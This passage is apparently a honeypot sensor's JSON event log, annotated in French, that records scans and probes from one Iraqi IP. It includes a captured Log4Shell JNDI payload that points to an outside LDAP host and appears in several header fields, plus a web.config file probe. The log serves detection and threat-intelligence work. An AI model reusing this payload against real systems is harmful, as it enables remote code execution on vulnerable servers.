\u0022matched_patterns\u0022: [], \u0022ban_policy\u0022: \u0022advisory_monitor\u0022, \u0022tags_list\u0022: [\u0022net_port_scan_slow\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[\u0022net_port_scan_slow\u0022]","anomalies":"[]","severity":5,"bytes_in":0},{"id":7106428,"ip":"185.244.155.23","ts":"2026-10-23 11:45:51.000000","proto":"tcp","src_port":23960,"dst_port":20787,"service":"http","classification":"log4j_jndi","waf_score":52,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022]","http_method":"GET","http_target":"\/api\/","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 9, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u002276e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9\u0022, \u0022http_host_hash\u0022: \u00228e9fd798909c19ea0b8229bcf516dc793dc8f797\u0022, \u0022http_target_hash\u0022: \u0022357322ae39f93f572e23cd9edd3307e2ac5a321f\u0022, \u0022http_referer_hash\u0022: \u002276e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9\u0022, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 496, \u0022payload_entropy\u0022: 5.2814591598553315, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20787, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 94.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 12, \u0022risk_granularity\u0022: 5.7, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 78, \u0022tag_count\u0022: 14, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00228ffd76f864700827e73877947b70f91689cbb105\u0022, \u0022event_fingerprint\u0022: \u00229f0438a17aab33ad99affa6f5bafc943a8a409e4\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 342, \u0022precision_signals\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-fb-001\u0022], \u0022matched_pattern_names\u0022: [\u0022Log4j JNDI\u0022], \u0022pattern_ids\u0022: [\u0022pat-fb-001\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 78, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022log4shell_probe\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 95.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022ec624b7167ba298ff608202e76937124\u0022, \u0022payload_hash\u0022: \u002236139faed68cff87d7cd240246c93269\u0022, \u0022path_pattern_hash\u0022: \u00224d3a663efc0aa83935bc8248020e5b4c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 78}, \u0022payload_preview\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/api\/\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022k8s-api\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.168.\u0022, \u0022payload_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/api\/\u0022, \u0022user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022ssrf-3\u0022, \u0022jndi-0\u0022, \u0022nosqli-3\u0022, \u0022cache-poison-xfh\u0022, \u0022k8s-api\u0022, \u0022log4shell-jndi\u0022], \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\\r\\nX-Forwarded-For: ${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\\r\\nX-Api-Version: ${jndi:ldap:\/\/192.168.\u0022, \u0022payload_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1190\u0022, \u0022T1059\u0022], \u0022mitre\u0022: \u0022T1190\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022bd439e9090dbe0ede941921a3e000296c036aa11\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/api\/\u0022, \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\u0022, \u0022port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\u0022, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20787 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/api\/\u0022, \u0022target_port_label\u0022: \u002220787 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 78\/100 (\u00c9lev\u00e9) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 94.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 78, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Exploitation\u0022, \u0022risk_score\u0022: 78, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20787, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022ET-EXPLOIT-Log4j\u0022, \u0022pat-fb-001\u0022, \u0022ET-EXPLOIT-Log4j-sub\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1190\u0022, \u0022mitre_technique\u0022: \u0022T1190\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/api\/\u0022, \u0022request_line\u0022: \u0022GET \/api\/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}\u0022, \u0022port\u0022: 20787, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022log4j jndi \u00b7 via HTTP:20787 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/api\/\u0022, \u0022evidence_snippet\u0022: \u0022GET \/api\/ HTTP\/1.1\\r\\nHost: 62.3.50.33:20787\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\nUser-Agent: ${jndi:ldap:\/\/192.168.195.130:4606\u0022, \u0022target_port_label\u0022: \u002220787 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 8 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploitation\u0022, \u0022label_fr\u0022: \u0022Exploitation\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u002220787\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 33, \u0022port_scan_ports_sample\u0022: [20498, 20500, 20501, 20504, 20539, 20571, 20572, 20573, 20575, 20576, 20577, 20599, 20601, 20615, 20616, 20617], \u0022rapid_port_scan\u0022: true, \u0022rapid_scan_distinct_ports\u0022: 9, \u0022scan_velocity_ports_per_s\u0022: 1.83, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 63, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022port:20361\u0022, \u0022port:20480\u0022, \u0022port:20493\u0022, \u0022port:20495\u0022, \u0022port:20496\u0022, \u0022port:20498\u0022, \u0022port:20499\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022rapid_port_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022exploitation\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_probe_api\u0022, \u0022net_port_scan_fast\u0022]}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:20787","http_user_agent":"${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}","http_referer":"${jndi:ldap:\/\/192.168.195.130:4606\/Log4ShellPayload}","tags":"[\u0022950326:rce-0\u0022, \u0022950406:ssrf-3\u0022, \u0022950418:jndi-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022950585:cache-poison-xfh\u0022, \u0022950600:k8s-api\u0022, \u0022951011:log4shell-jndi\u0022, \u0022http_dns_rebinding\u0022, \u0022http_header_x-forwarded-for\u0022, \u0022http_header_x-forwarded-host\u0022, \u0022http_host_mismatch\u0022, \u0022http_probe_api\u0022, \u0022net_port_scan_fast\u0022]","anomalies":"[]","severity":10,"bytes_in":496},{"id":7106414,"ip":"185.244.155.23","ts":"2026-10-23 11:45:49.000000","proto":"tcp","src_port":17016,"dst_port":20640,"service":"http","classification":"port_scan_syn","waf_score":13,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/web.config","sensor_id":"paris-1","meta":"{\u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: \u0022config\u0022, \u0022http_ua_hash\u0022: \u00225002ada1c05fac60ce2af638d5f54066641d121c\u0022, \u0022http_host_hash\u0022: \u00220991dad1e85d945fa26d249d6238901b89cb8349\u0022, \u0022http_target_hash\u0022: \u0022fb61e36fe9095535f127e3353d957f1c1310e8e9\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 179, \u0022payload_entropy\u0022: 5.199011692965391, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 206206, \u0022country\u0022: \u0022IQ\u0022, \u0022dst_port\u0022: 20640, \u0022risk_waf\u0022: 60.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 0.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.4, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 47, \u0022tag_count\u0022: 4, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002277eab3426c80b1bdaaaee26bb45b152368788e44\u0022, \u0022event_fingerprint\u0022: \u002288505779c470cf451438f555eb9cff42642a3a69\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 47, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022IQ\u0022, \u0022asn\u0022: 206206, \u0022org\u0022: \u0022Kurdistan Net Company for Computer and Internet Ltd.\u0022, \u0022is_datacenter\u0022: false, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u002263279522febcf5538b72996c16a8660f\u0022, \u0022payload_hash\u0022: \u00226796f1d0cd43383799b9b8781ceb99b1\u0022, \u0022path_pattern_hash\u0022: \u00220913647d7e838cdd727ceda37a671f37\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 20640, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 47}, \u0022payload_preview\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/web.config\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\\r\\nAccept: *\/*\\r\\nConnection: close\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00226fdf377f78af9e66bea9b80ece3c5b2bc3d0695f\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20640, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) App\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20640 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022target_port_label\u0022: \u002220640 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 2 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 47\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (63 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 60.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 0.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 47, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 47, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 20640, \u0022protocol_emulated\u0022: null, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_rapide\u0022, \u0022campagne_ports\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan rapide multi-ports\u0022, \u0022Campagne multi-ports\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/web.config\u0022, \u0022request_line\u0022: \u0022GET \/web.config HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\u0022, \u0022port\u0022: 20640, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:20640 \u00b7 (reconnaissance) \u00b7 \u2192 \/web.config\u0022, \u0022evidence_snippet\u0022: \u0022GET \/web.config HTTP\/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 62.3.50.33\\r\\nUser-Agent: Mozilla\/5.0 (Windows NT 